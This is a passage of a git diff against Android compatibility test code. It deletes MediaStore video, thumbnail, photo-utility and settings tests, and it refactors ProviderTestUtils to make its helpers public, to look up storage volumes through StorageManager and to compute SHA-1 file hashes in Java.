- try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
- MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
- mmr.setDataSource(pfd.getFileDescriptor());
- assertEquals("+37.4217-122.0834/",
- mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
- assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
- }
- try (InputStream in = mContentResolver.openInputStream(publishUri)) {
- byte[] bytes = FileUtils.readInputStreamFully(in);
- byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
- String xmp = new String(xmpBytes);
- assertTrue("Failed to read XMP longitude", xmp.contains("10,41.751000E"));
- assertTrue("Failed to read XMP latitude", xmp.contains("53,50.070500N"));
- assertTrue("Failed to read non-location XMP", xmp.contains("13166/7763"));
- }
- // As owner, we should be able to request the original bytes
- try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
- }
-
- // Remove ACCESS_MEDIA_LOCATION permission
- try {
- InstrumentationRegistry.getInstrumentation().getUiAutomation().
- adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
-
- // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
- // Deny access_media_permission App op to revoke this permission.
- if (mContext.getPackageManager().checkPermission(
- android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
- == PackageManager.PERMISSION_GRANTED) {
-
- mContext.getSystemService(AppOpsManager.class).setUidMode(
- "android:access_media_location", Process.myUid(),
- AppOpsManager.MODE_IGNORED);
- }
- } finally {
- InstrumentationRegistry.getInstrumentation().getUiAutomation().
- dropShellPermissionIdentity();
- }
-
- // Now remove ownership, which means that location should be redacted
- ProviderTestUtils.executeShellCommand("content update"
- + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
- + " --uri " + publishUri + " --bind owner_package_name:n:",
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
- try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
- MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
- mmr.setDataSource(pfd.getFileDescriptor());
- assertEquals(null,
- mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
- assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
- }
- try (InputStream in = mContentResolver.openInputStream(publishUri)) {
- byte[] bytes = FileUtils.readInputStreamFully(in);
- byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
- String xmp = new String(xmpBytes);
- assertFalse("Failed to redact XMP longitude", xmp.contains("10,41.751000E"));
- assertFalse("Failed to redact XMP latitude", xmp.contains("53,50.070500N"));
- assertTrue("Redacted non-location XMP", xmp.contains("13166/7763"));
- }
- // We can't request original bytes unless we have permission
- try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
- fail("Able to read original content without ACCESS_MEDIA_LOCATION");
- } catch (UnsupportedOperationException expected) {
- }
- }
-
- @Test
- public void testLocationDeprecated() throws Exception {
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalVideo, displayName, "video/mp4");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
- // Verify that location wasn't indexed
- try (Cursor c = mContentResolver.query(publishUri,
- new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
- assertTrue(c.moveToFirst());
- assertTrue(c.isNull(0));
- assertTrue(c.isNull(1));
- }
-
- // Verify that location values aren't recorded
- final ContentValues values = new ContentValues();
- values.put(VideoColumns.LATITUDE, 32f);
- values.put(VideoColumns.LONGITUDE, 64f);
- mContentResolver.update(publishUri, values, null, null);
-
- try (Cursor c = mContentResolver.query(publishUri,
- new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
- assertTrue(c.moveToFirst());
- assertTrue(c.isNull(0));
- assertTrue(c.isNull(1));
- }
- }
-
- @Test
- public void testCanonicalize() throws Exception {
- // Remove all audio left over from other tests
- ProviderTestUtils.executeShellCommand("content delete"
- + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
- + " --uri " + mExternalVideo,
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
-
- // Publish some content
- final File dir = ProviderTestUtils.stageDir(mVolumeName);
- final Uri a = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "a.mp4")));
- final Uri b = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "b.mp4")));
- final Uri c = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "c.mp4")));
-
- // Confirm we can canonicalize and recover it
- final Uri canonicalized = mContentResolver.canonicalize(b);
- assertNotNull(canonicalized);
- assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
-
- // Delete all items above
- mContentResolver.delete(a, null, null);
- mContentResolver.delete(b, null, null);
- mContentResolver.delete(c, null, null);
-
- // Confirm canonical item isn't found
- assertNull(mContentResolver.uncanonicalize(canonicalized));
-
- // Publish data again and confirm we can recover it
- final Uri d = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "d.mp4")));
- assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
- }
-
- @Test
- public void testMetadata() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
- "video/mp4");
-
- try (Cursor c = mContentResolver.query(uri, null, null, null)) {
- assertTrue(c.moveToFirst());
-
- // Confirm that we parsed Exif metadata
- assertEquals(9296, c.getLong(c.getColumnIndex(VideoColumns.DURATION)));
- assertEquals(1920, c.getLong(c.getColumnIndex(VideoColumns.WIDTH)));
- assertEquals(1080, c.getLong(c.getColumnIndex(VideoColumns.HEIGHT)));
-
- // Confirm that we parsed XMP metadata
- assertEquals("xmp.did:051dfd42-0b46-4302-918a-836fba5016ed",
- c.getString(c.getColumnIndex(VideoColumns.DOCUMENT_ID)));
- assertEquals("xmp.iid:051dfd42-0b46-4302-918a-836fba5016ed",
- c.getString(c.getColumnIndex(VideoColumns.INSTANCE_ID)));
- assertEquals("4F9DD7A46B26513A7C35272F0D623A06",
- c.getString(c.getColumnIndex(VideoColumns.ORIGINAL_DOCUMENT_ID)));
-
- // Confirm that timestamp was parsed
- assertEquals(1539711603000L, c.getLong(c.getColumnIndex(VideoColumns.DATE_TAKEN)));
-
- // We just added and modified the file, so should be recent
- final long added = c.getLong(c.getColumnIndex(VideoColumns.DATE_ADDED));
- final long modified = c.getLong(c.getColumnIndex(VideoColumns.DATE_MODIFIED));
- final long now = System.currentTimeMillis() / 1000;
- assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
- assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
-
- // Confirm that we trusted value from XMP metadata
- assertEquals("video/dng", c.getString(c.getColumnIndex(VideoColumns.MIME_TYPE)));
-
- assertEquals(20716, c.getLong(c.getColumnIndex(VideoColumns.SIZE)));
-
- final String displayName = c.getString(c.getColumnIndex(VideoColumns.DISPLAY_NAME));
- assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
- assertTrue("Invalid display name " + displayName, displayName.endsWith(".mp4"));
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
deleted file mode 100644
index 9d39c1c..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
+++ /dev/null
@@ -1,278 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT;
-import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.media.MediaMetadataRetriever;
-import android.net.Uri;
-import android.os.FileUtils;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Files;
-import android.provider.MediaStore.Video.Media;
-import android.provider.MediaStore.Video.Thumbnails;
-import android.provider.MediaStore.Video.VideoColumns;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Video_ThumbnailsTest {
- private static final String TAG = "MediaStore_Video_ThumbnailsTest";
-
- private Context mContext;
- private ContentResolver mResolver;
-
- private boolean hasCodec() {
- return MediaUtils.hasCodecForResourceAndDomain(
- mContext, R.raw.testthumbvideo, "video/");
- }
-
- private Uri mExternalVideo;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Uri internalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.INTERNAL_VOLUME_NAME);
- Uri externalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME);
- assertEquals(Thumbnails.INTERNAL_CONTENT_URI, internalUri);
- assertEquals(Thumbnails.EXTERNAL_CONTENT_URI, externalUri);
- }
-
- @Test
- public void testGetThumbnail() throws Exception {
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
- // Insert a video into the provider.
- Uri videoUri = insertVideo();
- long videoId = ContentUris.parseId(videoUri);
- assertTrue(videoId != -1);
- assertEquals(ContentUris.withAppendedId(Media.EXTERNAL_CONTENT_URI, videoId),
- videoUri);
-
- // Don't run the test if the codec isn't supported.
- if (!hasCodec()) {
- // Calling getThumbnail should not generate a new thumbnail.
- MediaStore.waitForIdle(mContext);
- assertNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
- Log.i(TAG, "SKIPPING testGetThumbnail(): codec not supported");
- return;
- }
-
- // Calling getThumbnail should generate a new thumbnail.
- MediaStore.waitForIdle(mContext);
- assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
- assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MICRO_KIND, null));
-
- assertEquals(1, mResolver.delete(videoUri, null, null));
- }
-
- @Test
- public void testThumbnailGenerationAndCleanup() throws Exception {
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
- if (!hasCodec()) {
- // we don't support video, so no need to run the test
- Log.i(TAG, "SKIPPING testThumbnailGenerationAndCleanup(): codec not supported");
- return;
- }
-
- // insert a video
- Uri uri = insertVideo();
-
- // request thumbnail creation
- MediaStore.waitForIdle(mContext);
- assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
- Thumbnails.MINI_KIND, null /* options */));
-
- // delete the source video and check that the thumbnail is gone too
- mResolver.delete(uri, null /* where clause */, null /* where args */);
- MediaStore.waitForIdle(mContext);
- assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
- Thumbnails.MINI_KIND, null /* options */));
-
- // insert again
- uri = insertVideo();
-
- // request thumbnail creation
- MediaStore.waitForIdle(mContext);
- assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
- Thumbnails.MINI_KIND, null));
-
- // update the media type
- ContentValues values = new ContentValues();
- values.put("media_type", 0);
- assertEquals("unexpected number of updated rows",
- 1, mResolver.update(uri, values, null /* where */, null /* where args */));
-
- // video was marked as regular file in the database, which should have deleted its thumbnail
- MediaStore.waitForIdle(mContext);
- assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
- Thumbnails.MINI_KIND, null /* options */));
-
- // check source no longer exists as video
- Cursor c = mResolver.query(uri,
- null /* projection */, null /* where */, null /* where args */, null /* sort */);
- assertFalse("source entry should be gone", c.moveToNext());
- c.close();
-
- // check source still exists as file
- Uri fileUri = ContentUris.withAppendedId(
- Files.getContentUri("external"),
- Long.valueOf(uri.getLastPathSegment()));
- c = mResolver.query(fileUri,
- null /* projection */, null /* where */, null /* where args */, null /* sort */);
- assertTrue("source entry should be gone", c.moveToNext());
- String sourcePath = c.getString(c.getColumnIndex("_data"));
- c.close();
-
- // clean up
- mResolver.delete(fileUri, null /* where */, null /* where args */);
- new File(sourcePath).delete();
- }
-
- private Uri insertVideo() throws IOException {
- File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
- "testVideo" + System.nanoTime() + ".3gp");
- // clean up any potential left over entries from a previous aborted run
- mResolver.delete(Media.EXTERNAL_CONTENT_URI,
- "_data=?", new String[] { file.getAbsolutePath() });
- file.delete();
-
- ProviderTestUtils.stageFile(R.raw.testthumbvideo, file);
-
- ContentValues values = new ContentValues();
- values.put(VideoColumns.DATA, file.getAbsolutePath());
- return mResolver.insert(Media.EXTERNAL_CONTENT_URI, values);
- }
-
- @Test
- public void testInsertUpdateDelete() throws Exception {
- final Uri finalUri = ProviderTestUtils.stageMedia(R.raw.testvideo,
- mExternalVideo, "video/mp4");
-
- // Directly reading should be larger
- final Size full;
- try (MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
- mmr.setDataSource(mContext, finalUri);
- full = new Size(
- Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_WIDTH)),
- Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_HEIGHT)));
- }
-
- // Thumbnail should be smaller
- MediaStore.waitForIdle(mContext);
- final Bitmap beforeThumb = mResolver.loadThumbnail(finalUri, new Size(32, 32), null);
- assertTrue(beforeThumb.getWidth() < full.getWidth());
- assertTrue(beforeThumb.getHeight() < full.getHeight());
- final int beforeColor = beforeThumb.getPixel(16, 16);
-
- // Verify legacy APIs still work
- if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
- for (int kind : new int[] {
- MediaStore.Video.Thumbnails.MINI_KIND,
- MediaStore.Video.Thumbnails.FULL_SCREEN_KIND,
- MediaStore.Video.Thumbnails.MICRO_KIND
- }) {
- MediaStore.waitForIdle(mContext);
- assertNotNull(MediaStore.Video.Thumbnails.getThumbnail(mResolver,
- ContentUris.parseId(finalUri), kind, null));
- }
- }
-
- // Edit video contents
- try (InputStream from = mContext.getResources().openRawResource(R.raw.testthumbvideo);
- OutputStream to = mResolver.openOutputStream(finalUri)) {
- FileUtils.copy(from, to);
- }
-
- // Thumbnail should match updated contents
- MediaStore.waitForIdle(mContext);
- final Bitmap afterThumb = mResolver.loadThumbnail(finalUri, new Size(32, 32), null);
- final int afterColor = afterThumb.getPixel(16, 16);
- assertNotColorMostlyEquals(beforeColor, afterColor);
-
- // Delete video contents
- mResolver.delete(finalUri, null, null);
-
- // Thumbnail should no longer exist
- try {
- MediaStore.waitForIdle(mContext);
- mResolver.loadThumbnail(finalUri, new Size(32, 32), null);
- fail("Funky; we somehow made a thumbnail out of nothing?");
- } catch (FileNotFoundException expected) {
- }
- }
-
- /**
- * Since thumbnails might be bounced through a compression pass, we're okay
- * if they're mostly equal.
- */
- private static void assertNotColorMostlyEquals(int expected, int actual) {
- assertNotEquals(Integer.toHexString(expected & 0xF0F0F0F0),
- Integer.toHexString(actual & 0xF0F0F0F0));
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/PhotoUtil.java b/tests/tests/provider/src/android/provider/cts/PhotoUtil.java
deleted file mode 100644
index 49d57a7..0000000
--- a/tests/tests/provider/src/android/provider/cts/PhotoUtil.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.provider.cts.R;
-
-import android.content.Context;
-import com.android.compatibility.common.util.FileUtils;
-
-import java.io.InputStream;
-
-public class PhotoUtil {
-
- public static byte[] getTestPhotoData(Context context) {
- InputStream input = context.getResources().openRawResource(R.drawable.testimage);
- return FileUtils.readInputStreamFully(input);
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index 3e47d15..f7b726b 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -16,8 +16,6 @@
package android.provider.cts;
-import static android.provider.cts.MediaStoreTest.TAG;
-
import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.fail;
@@ -26,15 +24,18 @@
import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
import android.net.Uri;
+import android.os.Bundle;
import android.os.Environment;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
-import android.os.UserHandle;
import android.os.UserManager;
+import android.os.storage.StorageManager;
+import android.os.storage.StorageVolume;
import android.provider.MediaStore;
import android.provider.MediaStore.MediaColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
+import android.provider.cts.media.MediaStoreUtils;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
@@ -44,6 +45,9 @@
import com.android.compatibility.common.util.Timeout;
+import com.google.common.io.BaseEncoding;
+
+import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
@@ -54,6 +58,7 @@
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
import java.security.DigestInputStream;
import java.security.MessageDigest;
import java.util.HashSet;
@@ -65,6 +70,7 @@
* Utility methods for provider cts tests.
*/
public class ProviderTestUtils {
+ static final String TAG = "ProviderTestUtils";
private static final int BACKUP_TIMEOUT_MILLIS = 4000;
private static final Pattern BMGR_ENABLED_PATTERN = Pattern.compile(
@@ -75,7 +81,7 @@
private static final Timeout IO_TIMEOUT = new Timeout("IO_TIMEOUT", 2_000, 2, 2_000);
- static Iterable<String> getSharedVolumeNames() {
+ public static Iterable<String> getSharedVolumeNames() {
// We test both new and legacy volume names
final HashSet<String> testVolumes = new HashSet<>();
testVolumes.addAll(
@@ -84,7 +90,7 @@
return testVolumes;
}
- static String resolveVolumeName(String volumeName) {
+ public static String resolveVolumeName(String volumeName) {
if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
return MediaStore.VOLUME_EXTERNAL_PRIMARY;
} else {
@@ -100,12 +106,12 @@
executeShellCommand(String.format(cmd, packageName, "READ_SMS", mode), uiAutomation);
}
- static String executeShellCommand(String command) throws IOException {
+ public static String executeShellCommand(String command) throws IOException {
return executeShellCommand(command,
InstrumentationRegistry.getInstrumentation().getUiAutomation());
}
- static String executeShellCommand(String command, UiAutomation uiAutomation)
+ public static String executeShellCommand(String command, UiAutomation uiAutomation)
throws IOException {
Log.v(TAG, "$ " + command);
ParcelFileDescriptor pfd = uiAutomation.executeShellCommand(command.toString());
@@ -182,6 +188,10 @@
executeShellCommand("bmgr wipe " + backupTransport + " " + packageName, uiAutomation);
}
+ public static void waitForIdle() {
+ MediaStore.waitForIdle(InstrumentationRegistry.getTargetContext().getContentResolver());
+ }
+
/**
* Waits until a file exists, or fails.
*
@@ -197,25 +207,37 @@
}
}
- static File stageDir(String volumeName) throws IOException {
+ public static File getVolumePath(String volumeName) {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ return context.getSystemService(StorageManager.class)
+ .getStorageVolume(MediaStore.Files.getContentUri(volumeName)).getDirectory();
+ }
+
+ public static File stageDir(String volumeName) throws IOException {
if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
volumeName = MediaStore.VOLUME_EXTERNAL_PRIMARY;
}
- File dir = Environment.buildPath(MediaStore.getVolumePath(volumeName), "Android", "media",
+ final StorageVolume vol = InstrumentationRegistry.getTargetContext()
+ .getSystemService(StorageManager.class)
+ .getStorageVolume(MediaStore.Files.getContentUri(volumeName));
+ File dir = Environment.buildPath(vol.getDirectory(), "Android", "media",
"android.provider.cts");
Log.d(TAG, "stageDir(" + volumeName + "): returning " + dir);
return dir;
}
- static File stageDownloadDir(String volumeName) throws IOException {
+ public static File stageDownloadDir(String volumeName) throws IOException {
if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
volumeName = MediaStore.VOLUME_EXTERNAL_PRIMARY;
}
- return Environment.buildPath(MediaStore.getVolumePath(volumeName),
+ final StorageVolume vol = InstrumentationRegistry.getTargetContext()
+ .getSystemService(StorageManager.class)
+ .getStorageVolume(MediaStore.Files.getContentUri(volumeName));
+ return Environment.buildPath(vol.getDirectory(),
Environment.DIRECTORY_DOWNLOADS, "android.provider.cts");
}
- static File stageFile(int resId, File file) throws IOException {
+ public static File stageFile(int resId, File file) throws IOException {
// The caller may be trying to stage into a location only available to
// the shell user, so we need to perform the entire copy as the shell
final Context context = InstrumentationRegistry.getTargetContext();
@@ -248,11 +270,11 @@
return waitUntilExists(file);
}
- static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
+ public static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
return stageMedia(resId, collectionUri, "image/png");
}
- static Uri stageMedia(int resId, Uri collectionUri, String mimeType) throws IOException {
+ public static Uri stageMedia(int resId, Uri collectionUri, String mimeType) throws IOException {
final Context context = InstrumentationRegistry.getTargetContext();
final String displayName = "cts" + System.nanoTime();
final PendingParams params = new PendingParams(collectionUri, displayName, mimeType);
@@ -266,20 +288,22 @@
}
}
- static Uri scanFile(File file) throws Exception {
- Uri uri = MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
+ public static Uri scanFile(File file) throws Exception {
+ final Uri uri = MediaStore
+ .scanFile(InstrumentationRegistry.getTargetContext().getContentResolver(), file);
assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
return uri;
}
- static Uri scanFileFromShell(File file) throws Exception {
- Uri uri = MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
- assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
- return uri;
+ public static Uri scanFileFromShell(File file) throws Exception {
+ return scanFile(file);
}
- static void scanVolume(File file) throws Exception {
- MediaStore.scanVolume(InstrumentationRegistry.getTargetContext(), file);
+ public static void scanVolume(File file) throws Exception {
+ final StorageVolume vol = InstrumentationRegistry.getTargetContext()
+ .getSystemService(StorageManager.class).getStorageVolume(file);
+ MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
+ vol.getMediaStoreVolumeName());
}
public static byte[] hash(InputStream in) throws Exception {
@@ -339,8 +363,12 @@
}
public static boolean containsId(Uri uri, long id) {
+ return containsId(uri, null, id);
+ }
+
+ public static boolean containsId(Uri uri, Bundle extras, long id) {
try (Cursor c = InstrumentationRegistry.getTargetContext().getContentResolver().query(uri,
- new String[] { MediaColumns._ID }, null, null)) {
+ new String[] { MediaColumns._ID }, extras, null)) {
while (c.moveToNext()) {
if (c.getLong(0) == id) return true;
}
@@ -362,14 +390,17 @@
}
public static String getRawFileHash(File file) throws Exception {
- final String res = ProviderTestUtils.executeShellCommand(
- "sha1sum " + file.getAbsolutePath(),
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
- if (Pattern.matches("[0-9a-fA-F]{40}.+", res)) {
- return res.substring(0, 40);
- } else {
- throw new FileNotFoundException("Failed to find hash for " + file + "; found " + res);
+ MessageDigest digest = MessageDigest.getInstance("SHA-1");
+ try (InputStream in = new BufferedInputStream(Files.newInputStream(file.toPath()))) {
+ byte[] buf = new byte[4096];
+ int n;
+ while ((n = in.read(buf)) >= 0) {
+ digest.update(buf, 0, n);
+ }
}
+
+ byte[] hash = digest.digest();
+ return BaseEncoding.base16().encode(hash);
}
public static File getRelativeFile(Uri uri) throws Exception {
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsTest.java b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
deleted file mode 100644
index 6d808e0..0000000
--- a/tests/tests/provider/src/android/provider/cts/SettingsTest.java
+++ /dev/null
@@ -1,354 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.Instrumentation;
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.database.ContentObserver;
-import android.database.Cursor;
-import android.database.sqlite.SQLiteException;
-import android.net.Uri;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.RemoteException;
-import android.os.SystemClock;
-import android.provider.Settings;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class SettingsTest {
- @BeforeClass
- public static void setUp() throws Exception {
- final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + packageName + " android:write_settings allow");
-
- // Wait a beat to persist the change
- SystemClock.sleep(500);
- }
-
- @AfterClass
- public static void tearDown() throws Exception {
- final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
- InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "appops set " + packageName + " android:write_settings default");
- }
-
- @Test
- public void testSystemTable() throws RemoteException {
- final String[] SYSTEM_PROJECTION = new String[] {
- Settings.System._ID, Settings.System.NAME, Settings.System.VALUE
- };
- final int NAME_INDEX = 1;
- final int VALUE_INDEX = 2;
-
- String name = Settings.System.NEXT_ALARM_FORMATTED;
- String insertValue = "value_insert";
- String updateValue = "value_update";
-
- // get provider
- ContentResolver cr = getContext().getContentResolver();
- ContentProviderClient provider =
- cr.acquireContentProviderClient(Settings.System.CONTENT_URI);
- Cursor cursor = null;
-
- try {
- // Test: insert
- ContentValues value = new ContentValues();
- value.put(Settings.System.NAME, name);
- value.put(Settings.System.VALUE, insertValue);
-
- provider.insert(Settings.System.CONTENT_URI, value);
- cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
- Settings.System.NAME + "=\"" + name + "\"", null, null, null);
- assertNotNull(cursor);
- assertEquals(1, cursor.getCount());
- assertTrue(cursor.moveToFirst());
- assertEquals(name, cursor.getString(NAME_INDEX));
- assertEquals(insertValue, cursor.getString(VALUE_INDEX));
- cursor.close();
- cursor = null;
-
- // Test: update
- value.clear();
- value.put(Settings.System.NAME, name);
- value.put(Settings.System.VALUE, updateValue);
-
- provider.update(Settings.System.CONTENT_URI, value,
- Settings.System.NAME + "=\"" + name + "\"", null);
